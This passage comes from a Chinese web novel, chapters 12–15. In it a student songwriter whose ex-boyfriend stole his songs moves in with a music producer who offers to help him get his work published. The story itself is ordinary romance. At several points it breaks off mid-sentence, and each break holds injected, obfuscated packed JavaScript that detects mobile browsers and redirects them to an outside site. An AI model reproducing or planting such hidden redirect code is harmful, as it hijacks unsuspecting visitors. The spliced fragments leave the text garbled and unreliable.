“你怎么在这里?不是说去处理事情了吗?”温故微微蹙眉,看了眼盛知新的酒杯,“怎么喝酒了?出什么事儿了吗?我是不是说过,你有事没法解决可以来找我帮忙?” 盛知新原本是不委屈的,哪怕是听见艾新说自己的坏话,也能冷漠?地把菜扣在他的头上然后潇洒离去,不露出半分脆弱的破绽。 可温故问完这句话后,好像打开了什么不得了的阀门,委屈潮水般地涌上来,带着酒精的作用一起占领了大脑,让盛知新眼圈一红,无法控制地落下了一行泪。 半晌,呜咽声从他紧闭的牙关挤了出来,像一只终于有了依靠的受伤的小兽。 12. 第 12 章 温故入圈这么多年,请吃饭的人寥寥无几,盛知新算这“寥寥无几”里最没名气的那个,却偏偏拒绝了他的邀请,说自己有事处理想静静。 听起来未免有点太不识好歹。 可温故却没觉得被冒犯。 他也只不过是工作完觉得一个人吃饭有点无聊,忽然想起了下午那个在自己面前晕倒的小男生。对方看起来很瘦,低血糖也说不定是三餐不准时导致的结果,他好歹垫付了医药费,理所当然地关注一下盛知新有没有吃饭,如果没吃正好陪他一起。 这个请求是比较突然,温故能理解盛知新不想被打乱计划的拒绝。 他正准备自己找个地方消磨一下时间,刚上车就接到了朋友林子晋的电话。 温故除了唱歌都是在做幕后,而他这位朋友却和他选择的道路完全不一样,年纪轻轻已经是大热男团的C位了,代言了一百零八个商务,每天都能看见他出现在各种媒体的通稿上。 “最近忙吗?”林子晋的语气听着不算很明媚,“有空没?” 温故指尖敲打着方向盘:“不忙,怎么了?” “遇到事了呗。” 对面的人叹了口气:“前段时间忙得脚跟打后脑勺,都没空和你说......你今晚有工作不?没有的话咱俩去喝两杯?” “行吧,”温故说,“在哪?” 林子晋那边报了个地址,但温故没听清,正要再问一遍,对方就匆匆撂下一句“一会儿微.信发你”,把电话挂断了。 近期恰好是温故给自己定好要放假休息的时间段,一时兴起的邀约被人拒绝了,就算回家也是看看电影看看书,他想了一会儿,发动了车,向林子晋给自己发的定位开去。 目的地是一个酒吧,看名字还是个清吧。 京城里的后海有太多的酒吧,里面住着太多郁郁不得志的人,抱着吉他从天亮唱到天黑再唱到天亮,试着在和弦里找到未来。有人成功了,但更多的还是失败者,就这样被淹没在了人海里。 温故其实不太喜欢后海,觉得那里的失意者太多,很多藏着故事的歌他不忍心听,偶尔去的那么几次都是因为林子晋的邀请。 林子晋其人没什么特别的爱好,只是喜欢在心情好或心情不好的时候去喝两杯。温故作为他为数不多的朋友,陪着他见识过了京城无数名不见经传的小酒吧。 对了,盛知新好像也在酒吧驻唱过。 车拐了个弯,温故忽然想到了那个小男生。 那天在医院里他没细说,他和盛知新见的第一面其实不是在公司门外,而是在一间忘了名字的清吧。当时林子晋刚谈了个大商单,拉着他去开了几瓶酒庆祝,正聊到兴头上,吧台旁唱歌的人换了。 一个大学生模样的男生坐在那把高脚椅上,调了调话筒的位置,轻轻扫了下吉他弦,开口唱歌。 那首歌的调子有些特别,也有点熟悉,温故听了几句,觉得自己好像没听过这首歌,于是打开了手机的音乐软件,开始听歌识曲。 可是他什么都没识别出来。 他有些惊讶地扬起眉,不信邪地正准备再试一次,林子晋忽然拍了他一下:“你有在听吗?” 温故回过神,敷衍地“嗯”了一声。 “你听个屁啊你听,”林子晋瞪了他一眼,“眼睛要长人家身上了。” 温故把目光收回,淡淡地瞥了他一眼:“我没听过这首歌想认真听听都不行?” 林子晋听了他的话,也停下来仔细地在人声喧嚣里欣赏了下这个小男生的清唱,听了半天后有些费解地“哎”了一声:“我是听不出有什么特别的,不像你们专业搞音乐的人能听出来这么多弯弯绕绕......但是你平时不缺好歌听吧?不是说最近带了个很有灵气的新人?” 温故扬起眉,语气变得有些耐人寻味:“是啊,那个很有灵气的新人和他写的歌很像。” “那不是很好吗?这样你就有两个有灵气的新人了。” 林子晋还沉浸在那个大商单的情绪里,压根没读懂温故话中的隐喻:“多好啊,这多可遇不可求。” “嗯,是啊。” 温故的目光依旧若即若离地黏在那个男生身上,意味深长道:“这样的巧合,确实是可遇不可求。” ...... 温故轻舒了一口气,微微眯起眼,觉得老天爷可能真是看不惯有人的所作所为,想方设法地点自己呢。 那次和林子晋喝完酒后没两天,他又去了一趟那家清吧,但是没找到人。他也只是心里有个隐约的猜测,为了这么点事去麻烦老板也不值得,忙着忙着这次的偶遇暂时就这么被他放在一边了。 而没想到那天在公司的楼下,他再次看见了盛知新,穿着一身红彤彤的衣服,像只蹦蹦跳跳的苹果。 原来他那个学生艾新真的和盛知新认识。 而两个人写的歌是那么像,风格几乎是一个模子里刻出来的。 温故心中那个被搁置些许日子的怀疑骤然被想起,在后来送盛知新去医院捡到对方的歌词本时,这份怀疑得到了解答。 他思索着艾新和盛知新之间的关系,将车熄了火停在停车场,自己步行走进了后海的酒吧一条街。 林子晋被晚高峰堵在了路上,迟到了,说会晚点来,让他先进去坐着。 温故进了酒吧,才发现这好像就是他和林子晋之前来过的清吧,只是装潢变了,名字也变了,他才没有认出来。 他立刻下意识地看向吧台,看见了一个有些颓废的背影,正举起手中的酒杯将里面的酒一饮而尽。 找到你了。 温故轻轻呼出一口气,有些无奈地牵起唇角笑了下。 不是说解决问题去了吗?怎么在酒吧里买醉? 他走过去,拍了拍盛知新的肩。 小男生回过头,刚开始目光迷茫,看清他是谁后倏地瞪大了眼睛,磕磕巴巴憋出来了一句“温老师好”。 是蛮生疏的。 温故蹙眉看着他:“我是不是说过,你有事没法解决可以来找我帮忙?” 眼前的人抱着个duang大的酒杯,听见他的话后嘴一瘪就红了眼眶,紧接着眼泪就顺着脸颊往下流。 这是怎么委屈成这样? “别急,慢慢说,”温故拽了把椅子在他旁边坐下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363057|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我听着呢。” 下午微.信聊天的时候他就看出来盛知新心里藏着事,但是人家不说他也不好去问。现在不知道人受了什么刺激,一股脑儿地把该说的不该说的全说了。 在听到盛知新说艾新是自己前男友时,温故眸中闪过一丝讶异。 两人的关系他之前猜了很多,觉得他们应该是朋友,或者盛知新需要挣生活费,于是给艾新代笔写歌,只是没想到居然是情侣关系,而且还同居了小半年。 这些艾新从来没和他们说过,估计除了他以外都没人知道还有盛知新这个人。 “他太恶心了,我当时没忍住,把菜扣在他头上了。” 盛知新想起来眼前的人还教过艾新,悄悄抬眸看了他一眼,吸了吸鼻子:“对不起温老师,我......” “扣的好。” 眼前的人还是刚见面时那种云淡风轻的表情。 盛知新原本以为对方至少会谴责一下他过于冲动的举动,却没想到这神仙就顶着这样一张脸这样淡然的表情对他的行为表达了赞赏。 “他拿歌就是他的不对,你一时生气怎么对他我都能理解,”温故说,“气要撒出来,不能总憋在心里,这样对身体不好。” 盛知新又想哭了。 从小到大,所有人教他的都是“男孩子不能哭”“不能闹得太难看”“有事憋着别在表情显露出来”,这好像是第一次有人和他说—— “气要撒出来,不能总憋在心里。” 温故不知道为什么安慰小孩两句小孩都哭得这么惨。 他实在不想看盛知新哭,这孩子一哭眼睛就红彤彤像只兔子,跟被人欺负了似的。 “你之前和他合租,现在呢?”温故换了个话题,“搬出来了?” 盛知新刚要回答,一道声音忽然从温故背后响起:“我靠,堵死我了,终于到了。” 林子晋戴着帽子口罩全副武装地在温故身边坐下,看见盛知新后“咦”了一声:“这不就是上次那个......” 温故没理他,仍认真地看着盛知新:“别管他,你继续说。” “我搬出来了。” 盛知新低声道:“房租的事以后再和他说,我现在先找新房子暂住,等学校的宿舍申请回来再回学校。” “那你找到暂住的地方了吗?” 盛知新迟疑了一下,轻轻摇头:“没有,我打算去青旅凑合一下。” “要和我合租吗?” 温故的语气很平淡,就好像谈论今天的天气如何一样,说完却让身边的两人都吓了一大跳。 “这,这不好吧。” 盛知新磕巴了一下:“之前已经麻烦您了,而且我医药费还没还您......” “没什么不好啊。” 温故伸手搭在了林子晋的肩上,一双凤眼微弯,带着笑意看向盛知新:“正好我室友房租到期了要换地方住,我这边空了个房间,你正好可以在这里暂住,直到你找到下个住的地方为止。” 他说完,笑眯眯地微微侧脸看向林子晋,手在盛知新看不见的地方捏了捏林子晋的肩:“对吧,室友?” 13. 第 13 章 室友?什么室友?谁和你是室友? 林子晋瞪着温故:“我不是…” 他话还没说完就被人打断了,并收到了温故带着警告的眼刀一枚。 “他最近有了新的工作,离我们住的地方很远,所以只能搬走了,”?温故说,“我暂时还不想搬,正在找室友,恰好你没地方住,要不……” 盛知新其实有点心动。 他现在称得上是一个“走投无路”。 学校宿管查得严,如果他回去,裴鸣没法解释为什么宿舍里多了个人。如果要住在外面,他又实在没把握在这一天内找到落脚的地方。酒店太贵,青旅也不是长久之计,现在一个合租的邀请居然这么好运地送上门来,他不可能不心动。 盛知新抿了抿唇,让被酒精控制的大脑稍微清醒了些,斟酌着问道:“那温老师,如果要合租,房租的话……” “房租不用担心。” 温故笑了下:“你先整理好心情,安顿好自己,房租的事以后再说。” 这怎么能以后再说呢? 盛知新在心中轻轻叹了口气。 他刚欠了温故医药费,现在岂不是还要欠房租了? 林子晋本来是来喝酒的,现在看着好友捏造了一个“室友”演了一出大戏,总算是看明白了。 温故大概是对这个小男生有兴趣,想方设法接近人家呢。 林子晋对此人的行为有些嗤之以鼻,然而还是捏着鼻子道:“哎呀小朋友,那房子房租也不贵,唔对了,你之前和谁合租?房租多少?” 盛知新摸了摸鼻子:“和我前任合租,房租的话......一个月2500。” “前任啊?” 林子晋扬起眉:“这是分手把你赶出来了?这人也太人渣了,你放心啊,那个房子房租没有一个月2500那么贵。” “真的吗?” 盛知新听了他的话后猛地抬起头,原本哭红的眼睛亮了起来:“比5000少?” 林子晋看见他那可怜兮兮的样子,没忍住心中的恻隐,违心地帮着温故继续驴人:“对,比2500少。” 何止比2000少,他想。 那是温故自己的房子,连房租都不需要付呢。 温故似乎对他的帮腔很满意,眯起眼对他笑了笑,让林子晋有点不寒而栗。 “温老师,真的可以合租吗?”盛知新的目光落在温故身上,声音有些迟疑,“我......我学校的床位申请下来就回去了,不打扰您。” 温故点了点头:“可以啊,你住几天就付几天的房租,没关系的。” 盛知新长出了一口气,心中一直悬着的石头终于“砰”地一声轻轻落地了。 他又红了眼眶,咬着牙举起放在一边的酒杯:“温老师谢谢您,我,我敬您一杯!” 林子晋毫不掩饰地笑出声来,温故看着他一副郑重其事的样子,也没忍住弯了弯唇角,将他的酒杯拦了下来。 “小孩子少喝酒,”他说,“你一个人喝这么多很危险的。” 盛知新却执意将杯中的酒一饮而尽,抹了把眼睛,低声道:“温老师,我会把钱都还你的。” “好了,你带他回去吧,”林子晋“哼”了一声,轻轻磨了磨牙,“我就不耽误你了。” 温故扶着盛知新起身,对他笑了下:“下次再陪你聊天。” 林子晋兴致缺缺地挥了挥手,意思是让他快滚。 *** 温故住的地方离盛知新的学校也不算远,只有十来分钟的车程。 当时艾新租房子的时候,只考虑了房子到公司的距离,和学校还有盛知新兼职的地方在相反的方向。依山傍湖,环境是很不错,就是房租比较贵。 当时盛知新觉得这个位置有点不妥,房租也有点贵。 只是因为多了个景观湖,房租就一人2500,两人5000了,这个价格能在学校附近都能租个三室一厅了。 他隐晦地和艾新提出了自己的想法,想说这个价格和位置其实并不合适。艾新听了他的话,脸却立刻垮了下来。 “我家的房子就建在湖旁边,我想租个带湖景的房子怎么了?”艾新反问他,“这个地方离我公司还很近,有什么事我能随叫随到,学校那边还得坐二十分钟车,你就不能为我着想吗?你上学能迟到,我练习能迟到吗?” 可是...... 盛知新从小到大没练就吵架的能力,只能被人一通反驳堵得话也说不出,看着那份5000房租的合同脸涨得通红,最后还是将想说的话咽了回去。 好在他只交了上个季度的房租,下个季度的还没来得及交就和艾新分手了。 少爷从小到大在家里娇生惯养惯了,受不得一点委屈。之前盛知新又当爹又当妈,在艾新身边活成了一个保姆将他伺候得舒舒服服,还要倒贴房租,现在也不必活得这么窝囊了。 盛知新在温故的车上睡得迷迷糊糊的,车停时倏地惊醒,而后一阵木质香调的味道撞进了他的鼻腔。 他身上又被人盖上了一件质感很好的黑色风衣,木质香将他整个人包裹起来,像是被人轻轻地抱在了怀里。 和那个下雨天一样。 “温老师,”他开口,声音还带着鼻音,“到了吗?” “到了。” 温故将车熄火:“小心点,看着路。” 盛知新“嗯”了一声,看着人下车后,悄悄将鼻子埋进大衣的衣领。 这个香调很好闻,他想。 以后要问问温老师用的什么牌子的香薰。 温故租的房子二室一厅,依着他的喜好装修成了黑白灰的风格,显得有点性冷淡,和盛知新之前布置的出租屋放歌大相径庭。 是一间看着很“冷”的房子,他想。 他有些局促地在门口将自己的行李放下:“温老师,我的房间在哪?” “书房对面那间,”温故看见他小心翼翼的样子,弯了弯唇角,“随便看,没什么不能看的。” 盛知新将行李提进他指向的那个房间,路过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363058|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书房时,步子倏地顿住了。 书房的门大大方方地开着,里面放着好几把吉他,看铭牌是Gibson的,还有一架电钢,一台架子鼓,电脑旁边是一套完整的录音设备。 好专业啊。 盛知新之前也路过歌,只不过是买了个二手麦克风和二手的声卡,自己在家里拼拼凑凑装了一个下午,录是能录,就是混响声音太大,像是在水里唱歌似的,没用几次设备的品质就不能再唱了。 他迅速将行李放好,悄悄溜进了那间书房,摸了摸Gibson的弦,觉得自己像是在做梦。 第一次去看喜欢的乐团的演唱会时,乐团的吉他手用的吉他就是Gibson,音质好,设计帅,让他馋了很久很久。他以为长大了自己就能买得起Gibson,可打了一个暑假的工,却只能买得起一把最普通的木吉他。 如果和温故合租的话,是不是他这间房间里的东西自己都能用? 盛知新觉得自己的心跳有些快。 艾新的公司里就有很多乐器,还有好几个专业的录音棚,之前每次回家的时候,他都会和盛知新炫耀自己今天又见到了什么新东西。盛知新听了他的话,很难不眼馋,好几次央求艾新带他去看看,可艾新听后却说—— “你都没用过这些乐器,给人家弄坏了怎么办?” 话里话外是对他的嘲讽和轻视,可那时盛知新却觉得他说的有道理。 盛知新正蠢蠢欲动着想再多摸几下自己的梦中情琴,却听见温故在外面喊他。 他有点心虚,迅速将手从琴弦上挪开:“来了,温老师。” 温故人不在客厅,在厨房不知道忙什么。盛知新挪到餐桌旁,斟酌了一会儿,小心翼翼地开口:“温老师,我刚刚去看书房里的乐器了。” “嗯,看吧,”温故说,“怎么了?” “平时我可以去用一用吗?”盛知新说,“就......你不忙的时候,我可以去弹弹吉他吗?” 厨房的门开了,温故端着两碗面出来,闻言抬眸看向他:“可以啊,用吧。” 盛知新怔住了:“可是那个吉他很贵,我之前没用过,你不怕......” “乐器放在那里就是给人用的,要是没人用的话我送去博物馆里摆着多好。” 温故将其中一碗面推到他面前,盛知新低头,发现那是碗很简单的西红柿鸡蛋汤面。 他用筷子剥开面条,发现面条下面还悄悄卧着一个荷包蛋。 “上车饺子下车面,”温故说,“知道你一天都没吃饭,空腹喝酒不好。” 盛知新知道自己该说“谢谢”的,可是他一句话也说不出,眼眶和鼻尖又酸了。 今天他哭了太多太多次,可是在他的记忆里,从六七岁开始,就是他一直在忙着给别人做饭。 已经很久没人为他煮一碗面条了。 几张纸巾被送到他的手边,温故的声音很温柔:“没事,哭吧,哭出来自己也舒服。” “今天哭完,往后就都是好日子了。” 14. 第 14 章 往后真的都会是好日子吗? 盛知新吸了吸鼻子,想把眼泪憋回去。 他在这个人面前哭过太多次了,偏偏他和温故还不熟,这样频繁地在一个陌生人面前示弱不好。 之前艾新给他讲过很多次类似这样的话,追他的时候,邀请他合租的时候,和他吵架的时候。 追他的时候把他拦在宿舍楼下,对他说自己很欣赏他的音乐,想作为同样的音乐人和他交往。那时似乎是个阴天,月光被乌云挡住,唯独艾新一双眼睛在黑暗中闪闪发光,满怀期待地看着他,让他压根不能忍得下心拒绝。 后来邀请他出去合租,说想要一个安静的独立的空间给盛知新搞音乐创作,可他的录音设备坏了艾新也从未说过一句话,像是不知道这事一样,好像当时说给盛知新一个安静的地方搞音乐的不是他。 再后来,就是吵架的时候总是强调自己为盛知新付出了多少,让盛知新听话,他选进男团出道了肯定会对他好的,可他有时候不明白,是不进男团就不能对他好吗? 这半年里艾新给他画了好多大饼,他像那只面前吊着胡萝卜的驴一样傻傻地给人拉磨,拉到最后一无所有不说,还被人偷了歌。 怎么能混的这么惨啊盛知新? 盛知新用温故递来的纸巾擦了擦眼泪,低低地“嗯”了一声。 “我不愿意说谁的坏话,但是我认识艾新的时间比你长,我大概也有一些发言权,”温故看着他吃面,斟酌道,“他这个人......应该是被家里惯坏了,做事不考虑别人,不算是一个很好的恋爱对象。” 盛知新咬了口荷包蛋,闻言声音有些闷闷不乐:“是我太缺爱太恋爱脑了,我和他谈恋爱之前不知道他这样,以后我......” 他话还没说完就被温故打断了:“这也能怪你啊?” “我觉得是艾新的错更大些,他完全知道你依赖他,所以就利用你的善良和依赖欺负你。” 盛知新“啊”了一声,有些迷茫地抬头看向他。 这难道不怪他吗? 这事要是发在互联网上,保证有一堆人来抨击他,说他恋爱脑冷脸洗内裤一点都不值钱......他最抑郁的时候也不是没想过把互联网当树洞,但是登号浏览了几个帖子就退缩了。 树洞不了一点,但凡你没有按照网友脑子里的所谓“大男主”或是“大女主”剧本做事,那真的要被骂个狗血喷头。 可是“爱”这种东西就是很难割舍,如果能头也不回地断情绝爱,那“爱”就不会那么宝贵了。 盛知新之前是这么想的,但是很难不被网络舆论影响,到头来也跟着怀疑自己。 可今天温故对他说,其实不是他的错,其实艾新的错更大些。 想到这儿,他叹了口气,有些怅然道:“温老师,我要是早点认识你就好了。” 温故扬起眉:“嗯?” “早点认识你的话,可能就有人懂我说的这些了,”盛知新轻声说,“我自己有时候想明白了,他一说好话一服软我就不怪他了。” 他将面汤喝了,起身要去刷碗,温故抬手拦住他:“你去休息吧,我来就好。” 盛知新有点惴惴不安。 在家里他是被爸妈弟妹使唤的老大,在艾新面前是被使唤的男朋友,这还是第一次吃完饭不用他刷碗,闹得他还有点不太习惯。 他在客厅团团转了几圈,又溜回到了那间放着Gibson的房间,轻轻拿起了其中一把吉他。 吉他的身形流畅,拿在手上沉甸甸的,比他那把二手的木吉他质感好了一千一万倍。 盛知新垂眸,试探着按着琴弦,扫出了一组音阶。 这是吉他最基础的一个和弦,每个初学者刚开始学的时候都弹过,同样也是一首歌的前奏。 “脱下长日的假面,奔向梦幻的疆界。南瓜马车的午夜,换上童话的玻璃鞋......” 盛知新第一次听见这首歌也是在那个乐团的演唱会上,那时他运气好,用看台的价格抢到了靠近内场的位置,得到了乐团吉他手的饭撒,一枚印着对方个人潮牌标志的拨片就那样砸在了他的额头上,而后轻轻掉进他怀里。 那时候其实他已经在考虑放弃走音乐这条路了。 他查了很多资料,正规的音乐专业生家里非富即贵,要么在国内顶尖学府上学,要么出国去其他国家深造,像他这种泥巴地里爬出来的穷孩子是没可能有好条件学音乐的。 可是那枚拨片就这样在几万人里飞进了他的怀里,轻轻勾住了他那颗想要就此放弃的心。 再试试,万一是对的呢?那天晚上回家后,盛知新这样对自己说。 再试四年,有出路有起色当然好,但没有出路的话就算了,毕业后安安分分找个工作,这辈子...... 这辈子也就算了。 可能过个十年二十年,提起这段天天抱着吉他不撒手的日子,或许还会笑着说自己当年真傻呢。 可盛知新知道自己其实不甘心,尤其是在看见艾新拿走自己的歌后数据还不错,这份不甘心就到达了顶峰。 这说明他的歌其实写的不错,只是缺了一个被看见的机会。而“被看见”对于艾新来说压根不算什么稀奇的事,召之即来挥之即去的东西罢了。 “弹得挺好呀,”一道声音在门口响起,“怎么不弹自己的歌?” 盛知新吓了一跳,险些没拿住吉他,一阵扫弦的错音响起,让他脸有些发烫:“我......我就随便弹弹,而且我好像不能弹自己的歌了。” 他写出来的总共就那么几首,还都被艾新拿走了,发行方已经写上了公司的名字,甚至还加了一条“版权所有,禁止任何形式的翻唱和改编”,这让他忽然有种这几首歌已经完全不属于自己的错觉。 所以他也不太爱唱了,总觉得很别扭。 温故愣了下:“为什么不能弹了?” 盛知新抿了抿唇,垂眸思索半晌,还是把这件事告诉了他,却没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363059|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到温故叹了口气,眉头微蹙:“其实我心里早就有这种猜测了,只是之前一直没有证据,所以才没敢确定。” 他早就知道了? “艾新在刚进公司的时候确实被要求上交几首歌,方便公司评估他的能力,也方便给这些新的练习生造势。其他几个都是从小学音乐长大的,写首歌压根不算什么,但对他来说这个任务是有些难了,”温故说,“他交了好几版,但是我都不满意,让他拿回去重写,大概在截止日期的前两天,他忽然把几首新歌发给我,让我帮他看看。” “这几首新歌和之前他交给我的完全不一样,就好像是另一个人写的一样。我当时确实很惊讶他进步如此神速,但是后来细想觉得有问题,感觉他应该是找了代笔,毕竟他钱确实挺多的。” 说到“他钱确实挺多”时,温故唇角翘了下,露出一个有些讽刺的笑:“我想过代笔,想过他求朋友,但是没想到的是他直接把稿子拿过来改都不改交上去了。” “那我还有机会把歌拿回来吗?”盛知新忽然问他。 他觉得自己在写歌这件事上一直有种别样的勇敢,如果不是被他知道了艾新背着他做这种事,他估计还不能这么决绝地从两人的合租房里搬出来,也不会有勇气这样直接问温故自己还有没有机会把歌拿回来。 温故这次没有立刻回答他,眉眼间隐隐露出难色。 之前不管是遇到问题还是合租,温故给他的答案都很迅速,这好像是盛知新第一次看见他显露出“为难”的神色。 那大概是很难了,更何况温故现在还在艾新的公司工作呢。 盛知新一颗心倏地坠了下去。 如果连眼前这个人都没什么办法的话,换他就更不可能把歌拿回来了。 “没事的,温老师,我就随口一问,”他勉强笑了笑,“我知道这很难,都发出去了嘛......发出去的歌泼出去的水,没办法就没办法了。” 他说着将吉他放了回去,抬手抹了把脸:“时间也挺晚了,温老师您去休息吧。” “就这样放弃了吗”温故忽然问他。 盛知新愣了下:“可是也确实没什么办法啊,我——” “我是指弹你自己的歌,唱你自己的歌,”温故说,“就这样放弃了吗?要一直在酒吧驻唱吗?” 盛知新眨眨眼,一股酸涩感藤蔓似的纠缠在他心口。 当然不要。 他的梦想才不是只当一个酒吧驻唱,他真正想做的是一个优秀的音乐人,一个能写出好歌给别人唱的音乐人。 “不要,”他轻声说,“我不想这样。” 温故没有说话,等着他继续往下讲。 兴许是对方鼓励的目光给了他勇气,又兴许是在“写歌”这件事上的勇气再一次降临于他身上,他深吸一口气,问出了那句他想问了很久的话: “温老师,您能帮我找找发行方吗?我还想写歌,我什么都能写,我想要......一个被看见的机会。” 15. 第 15 章 “什么被看见的机会?”温故问他。 盛知新很少求人。 从小到大,他求的最多的人是自己。求自己争气点,求自己努力点,就这样千千万万次将自己从谷底拉回来。 但是现在发生的事是他自己没办法解决的。 “就是......给公司写歌,或者帮人写歌,我都可以的,”盛知新低声说,“我什么都能写,不挑钱不挑主题不挑曲子,我就是想写,只要歌的词作曲作署名是我,我就都可以。” 他说话的时候,垂在身边的手微微发着抖,指尖掐在手心里,出了一层薄薄的汗。 其实是有点害怕温故会拒绝他,毕竟对方是在这个圈子里摸爬滚打这么久的人,凭什么答应他的要求?凭什么他说自己什么都能写就信他什么都能写? 他不合时宜地想起了很久之前他去酒吧面试夜场驻唱,前面几家的老板将他上下打量了一遍,带着鄙夷或是质疑的态度说:“你?你这么一个小屁孩,能唱什么?你说能唱就能唱?干两天就跑了吧?” 温故开口,结束了这有些漫长的安静:“什么都能写吗?” 盛知新点点头,不敢抬头看他。 “好,等明天我去问问,”温故说,“我印象里有几个制作人正在收歌,你的作品质量在他们那里过关应该不难——” “真的?!” 盛知新倏地抬头,一双眼亮晶晶地看着他:“温老师,真的吗?” 温故看见他这副兴奋的样子,唇角没忍住微微翘了翘:“怎么兴奋成这样?只是说帮你联系,没说一定能过啊。” “有机会就是好事呀!”盛知新控制不住脸上的笑容,恨不得跳起来对着空气狠狠挥两拳庆祝一下,“之前我也投过发行公司,但是没有一个人理我。” 温故靠在门口看着他,忽然觉得他就像一只被主人夸奖后摇着尾巴的小狗:“可能是因为当时你投的方式,找的人不对,但是没关系,以后......” 以后有我帮着把关,估计不会出现这样的事了。 温故原本想这么说,可琢磨了一下觉得好像有点不对劲,又将这句话咽了回去。 “你今晚好好休息吧,”最后他说,“折腾了一天,明天还得上课吧?” 盛知新点点头,将怀里的吉他小心地放了回去,忽然喊住温故:“温老师!” 温故回头:“怎么了?” “我怎么报答您啊?”盛知新眨眨眼,“您帮我联系发行公司还给我地方住,我......” 他问完后忽然后知后觉这恩情有点太重了。 “报答?” 温故被他问得愣了下,思考了一会儿后轻声道:“那以后帮我做饭吧,这样可以吗?” 只是做饭? “当然可以!” 盛知新跟在他身后,摸出手机:“温老师您喜欢吃什么?有没有什么忌口?爱吃辣还是不爱吃辣?有没有特别喜欢的菜?” 他殷勤的样子很讨人喜欢,和白天的满脸阴霾完全是两个人。 往后还是要多逗他笑笑,温故想。 “没什么忌口,也没什么喜欢吃的菜,”温故说,“做你喜欢吃的菜,这是我唯一的要求。” *** 第二天上课的时候,盛知新脸上都是带着笑的。 他上次帮艾新代课被老师逮住的事裴鸣有所耳闻,憋了半天后有点担心地戳了戳他:“小盛啊,你上次代课那个事......没事吧?” “没事,”盛知新说,“我让艾新去给老师道歉了。” 他让艾新道歉了? 裴鸣有点惊讶。 在他的印象里,自己这位朋友一直是个很好拿捏的软柿子,所以艾新才能这样轻而易举地事事都欺负他。从来只听说过艾少爷指使别人,没听说过艾少爷听话给别人道歉。 “你没被他欺负就好,”裴鸣说,“都出这样的事了,我还是想再劝劝你和他分手,毕竟......” 盛知新轻轻开口:“我们已经分了。” “他这样的人从不会考虑别人的感受啦这样的烂人......等等。” 裴鸣刚开始没听见盛知新说什么,原本做好了苦口婆心劝友回头是岸的文案,这会儿被盛知新一句话堵了回去,瞪大眼睛看着他:“你俩分了?” 这事儿对裴鸣来说不亚于听见小行星将在七年后撞击地球一样震撼。 而之前盛知新就像那颗小行星,不撞地球不罢休,现在突然又来了消息,说小行星掉头离开地月轨道,不再死磕地球一颗星星了。 裴鸣甚至都做好了持久战的准备,却没想到盛知新一声不吭地就分手了。 “分的好啊,”裴鸣说,“艾新那个人就是情绪的吸血鬼,他只知道索取一点也不懂付出,我之前就说这人很烂,你看吧,果然很烂。” 下课铃在他的窃窃私语里响起,盛知新将书包背上,从口袋里摸出一板巧克力递给他:“之前我当恋爱脑,你劝我也不听,你受苦了,这个给你。” 裴鸣“哎”了一声:“那算什么苦嘛,救人一命胜造七级浮屠,就当我给自己建功德塔了呗......” 他说着收下巧克力,正准备问盛知新从艾新家里搬出来没,宿舍申请了没,一抬头,却发现人不知道去哪了。 盛知新赶着去买菜。 虽然早上出门的时候温故和他说了今晚不回家吃饭,让他做饭自己吃,可盛知新觉得答应了温故的事不能出尔反尔,这饭一定要做了。 他不知道温故爱吃什么,思来想去决定做两道自己拿手的菜,热火朝天地在厨房把菜炒完,将温故那份放在锅里保温,把自己的饭菜吃好后忽然觉得心情很好。 之前在艾新家给艾新做饭,他会用尽浑身解数,甚至还去网络上找给菜提味的办法,想方设法地给艾新新鲜感,让他开心,折腾一顿下来,不开心的累的倒是自己。 今天他只做了两道家常菜,却找回了刚开始做饭时最初的那种满足感。 他把碗筷刷好,溜进了温故那间放着乐器的书房。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363060|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >温故说如果他需要的话,这间书房随时向他开放。他昨晚让人家帮自己联系发行公司写歌,可眼下他手里的几首歌都被艾新拿走了,他得抓紧时间重新写几首。 正好也等等温故回家,再帮他把饭菜热一遍。 ...... 温故和甲方敲定最后的合作稿已经是晚上十一点了。 